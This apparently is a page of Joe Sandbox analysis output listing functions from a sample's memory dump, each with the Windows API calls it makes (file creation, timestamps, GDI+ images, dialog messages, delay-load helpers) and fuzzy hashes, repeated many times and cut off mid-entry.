Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: Find$FileFirst$CloseErrorLast
String ID:
API String ID: 1464966427-0
Opcode ID: 165053e6e2d16e152c56e8684735ecedaf9c6a18cd3a2f7239dba87ccd1f44ec
Instruction ID: 08a2a54d3ed6e0fbf124b4b560e20b7ed99bcdd9e3fd615ee1cee984214ff533
Opcode Fuzzy Hash: 165053e6e2d16e152c56e8684735ecedaf9c6a18cd3a2f7239dba87ccd1f44ec
Instruction Fuzzy Hash: 05F05E75008790AECA2677B44804BCBBBD0AF1A321F10AA8EF2FD32192C27550999722

Function 00E8E0A6 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00E8E0AB

Part of subcall function 00E81E20: CreateFileW.KERNEL32(?,?,?,00000000,00000003,08000000,00000000), ref: 00E81E9F
Part of subcall function 00E81E20: GetLastError.KERNEL32 ref: 00E81EAC
Part of subcall function 00E81E20: CreateFileW.KERNEL32(00000000,?,?,00000000,00000003,08000000,00000000,?,?,00000800), ref: 00E81EE2
Part of subcall function 00E81E20: GetLastError.KERNEL32 ref: 00E81EEA
Part of subcall function 00E81E20: SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000), ref: 00E81F39

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: File$CreateErrorLast$H_prologTime
String ID:
API String ID: 3517926197-0
Opcode ID: 8b16c4c8691d105ac0a3ddd94d3ffcc8b1b6152b8d2ed1b8e63f7220b5eb01e3
Instruction ID: ad35e01e34502d3a6f087d0b786e7bed1dc4d915031a0113bbba7ab2d76d7873
Opcode Fuzzy Hash: 8b16c4c8691d105ac0a3ddd94d3ffcc8b1b6152b8d2ed1b8e63f7220b5eb01e3
Instruction Fuzzy Hash: 0CF0F871900189ABCF14FB60C992BDDB3A9AB10304F0054D5B69AB6191DBB89B85CB10

Function 00E8F846 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

GdipAlloc.GDIPLUS(00000010), ref: 00E8F84C

Part of subcall function 00E8F5D9: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00E8F5FA

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: Gdip$AllocBitmapCreateFromStream
String ID:
API String ID: 1915507550-0
Opcode ID: 3f5da4e93c1756c5f20b091966d0805785d91aec211097b7481f8b6ebaa856d2
Instruction ID: c279cfd1ac0a98589cd6fc1877ef1cbb06d135857821de88226e6b8bf25d43a1
Opcode Fuzzy Hash: 3f5da4e93c1756c5f20b091966d0805785d91aec211097b7481f8b6ebaa856d2
Instruction Fuzzy Hash: E2D0A930300208BADF463B32AC029AE7AD8AB00340F00A231F85EA5180EEB0CE10A3A0

Function 00E92D49 Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,00000000,00E878B7), ref: 00E92D6E

Part of subcall function 00E905A8: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00E905B9
Part of subcall function 00E905A8: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00E905CA
Part of subcall function 00E905A8: IsDialogMessageW.USER32(00020482,?), ref: 00E905DE
Part of subcall function 00E905A8: TranslateMessage.USER32(?), ref: 00E905EC
Part of subcall function 00E905A8: DispatchMessageW.USER32(?), ref: 00E905F6

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: Message$DialogDispatchItemPeekSendTranslate
String ID:
API String ID: 897784432-0
Opcode ID: a631ab256000d205f6322e34ecc3af0320ac926a53b3dff58e9c211e368119ed
Instruction ID: 7335bfd9b707fc675888a4cea636af02ad04606b4c67dde42222667b71a10500
Opcode Fuzzy Hash: a631ab256000d205f6322e34ecc3af0320ac926a53b3dff58e9c211e368119ed
Instruction Fuzzy Hash: 83D09E32144200BEDB122B52DE07F1A7AE2BB88B04F804554B388380F1C6A29D319B05

Function 00E857BE Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 00E857C8

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: d91e8cf50d68e3c3bc1e3f6785d5762b8dd3a78c84f47cf6f64c6752051a4ec0
Instruction ID: 763eb1a575c6af60a99c753dc53e93d0fcf7c20cf33ffe98c9f97447909f79c1
Opcode Fuzzy Hash: d91e8cf50d68e3c3bc1e3f6785d5762b8dd3a78c84f47cf6f64c6752051a4ec0
Instruction Fuzzy Hash: D0D0C971410611CFE3619F39E444741BBE0AF08314B11882ED0C9D2120E6715880CF40

Function 00E933FD Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E933D6

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 00007d6b07965a8d159266a2041df5f8aea55bc49bf7a47ecc65a2d396bb0cc7
Instruction ID: e97270833ffff901e02fd5ed19d65a10dabbc6a5261575cd75ddfd7321b76050
Opcode Fuzzy Hash: 00007d6b07965a8d159266a2041df5f8aea55bc49bf7a47ecc65a2d396bb0cc7
Instruction Fuzzy Hash: 51B012C22D92497D350491A69D03D7701FCC0C0B113B0742BB800F0282D8503E044031

Function 00E933F3 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E933D6

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 7c4d896c42b48bc6e8784b74f596451278122721f37895d3c8add73830fdd005
Instruction ID: 0e068a34abe39e9b06fee0f1ac7c824259fee82fd057c8f026bf937f8fdf941f
Opcode Fuzzy Hash: 7c4d896c42b48bc6e8784b74f596451278122721f37895d3c8add73830fdd005
Instruction Fuzzy Hash: 3BB012C52D92457D3604D1E69D03CF701ECC0C0B113B0752BBC00F0282D8503D480031

Function 00E934AB Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E93484

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 658feef5239d5dbe25c82a62424f39c145cbf05ffdc0adfde59c296afd32e102
Instruction ID: 63031d14f12f1e17f228c182b0a968374a6be68794979fd574fabc66b8f9ca1c
Opcode Fuzzy Hash: 658feef5239d5dbe25c82a62424f39c145cbf05ffdc0adfde59c296afd32e102
Instruction Fuzzy Hash: BAB012D52D8145BD394651A59C03CB701ECC0C4B103B0B11BB841F0181D5406E040031

Function 00E934A1 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E93484

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 48b78cdc0966fcf14d0bbcadfff88d98906b147de55d1611dc6fba4805a75476
Instruction ID: 050167279855a0e4ef82270eafb4a62f853a4b54949b3d66805cbecaa524f32a
Opcode Fuzzy Hash: 48b78cdc0966fcf14d0bbcadfff88d98906b147de55d1611dc6fba4805a75476
Instruction Fuzzy Hash: 7DB012C52D85457D760651A59C03D7B01FCC0C4B103B0B51BB545F0181D4406E080031

Function 00E9348D Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E93484

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: e6d360195eac5a8653c2e2bd3f53e5ed76b72b3ecf33eb1a308dbb8a072ade01
Instruction ID: 548d2101e42f77c8635db30c00813c26fbf6661a6c1a566875bb2b4c3700fa2f
Opcode Fuzzy Hash: e6d360195eac5a8653c2e2bd3f53e5ed76b72b3ecf33eb1a308dbb8a072ade01
Instruction Fuzzy Hash: 98B012C52D86857D370691A5AC03CF701ECC0C4B103B0B21BBD41F0181D4406D4C0031

Function 00E93497 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E93484

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 79aa081d71e078643513d01fab82d3769d486cedc4d86c452349895aaf2e4d45
Instruction ID: b62dce4bd51316870e96b1b5b3bc954e4055294a40e759c95871be2bdbd18da5
Opcode Fuzzy Hash: 79aa081d71e078643513d01fab82d3769d486cedc4d86c452349895aaf2e4d45
Instruction Fuzzy Hash: 04B012C52D85457D370651A59D03CB711ECC0C4B203B0F11BB641F0281D4406D0D0031

Function 00E93472 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E93484

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 0e545e5502589f90324b74ae5527b15c64c4f5d2ea70ca2c217db20f924cad15
Instruction ID: 9022e6e2fb336e2a3fc989c348f28b4163e1f14b8425daa63c6f3e3a26c5efaa
Opcode Fuzzy Hash: 0e545e5502589f90324b74ae5527b15c64c4f5d2ea70ca2c217db20f924cad15
Instruction Fuzzy Hash: EFB012C52D83457D360621B1BD43C7711ACC0C0B203B0F11BB641F018395406D051031

Function 00E93425 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E933D6

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 6e82f36d96885e1fead4f56c680d82265511d2f48397c854ba80f8b0cc998af2
Instruction ID: 21aa6926d9070651660758cd6cd6c8e9f996401ebfb58214ebeed2b3449e7cb7
Opcode Fuzzy Hash: 6e82f36d96885e1fead4f56c680d82265511d2f48397c854ba80f8b0cc998af2
Instruction Fuzzy Hash: 2CB012C12EB1457D3504D1A69D03D7702FCC4C0B113B0742BB800F0181D8503E044031

Function 00E933EE Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E933D6

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 5ee758b06375113ae58155f264ca20b4601d7ec81bf2c2d30aaa1eb2a2a56901
Instruction ID: 95c839b18ac01d577c159519e8fe7f9980cfff0d31a645e44fe2f2c0bedd3e14
Opcode Fuzzy Hash: 5ee758b06375113ae58155f264ca20b4601d7ec81bf2c2d30aaa1eb2a2a56901
Instruction Fuzzy Hash: 5AA002D51D91467D350451A19D46C77116CC4C4B51370795AB851A418158543D455031

Function 00E933E4 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E933D6

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 7facbe92e2712b720f2d7049695fa14099273e9826528be41405f65d8241210e
Instruction ID: 95c839b18ac01d577c159519e8fe7f9980cfff0d31a645e44fe2f2c0bedd3e14
Opcode Fuzzy Hash: 7facbe92e2712b720f2d7049695fa14099273e9826528be41405f65d8241210e
Instruction Fuzzy Hash: 5AA002D51D91467D350451A19D46C77116CC4C4B51370795AB851A418158543D455031

Function 00E933C9 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E933D6

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 7ef93b3755a6d3c176aae545606db2cea47feb643ae5b8cd6686a31545794f3c
Instruction ID: 2620fccec63bc8980c274e14f68842e241b46288fc2f5263ca0f8fbb927640d1
Opcode Fuzzy Hash: 7ef93b3755a6d3c176aae545606db2cea47feb643ae5b8cd6686a31545794f3c
Instruction Fuzzy Hash: 84A002D51D51457D350451A19E46D77116DC4C0B11370755AB851B418158543D455031

Function 00E934CE Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E93484

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
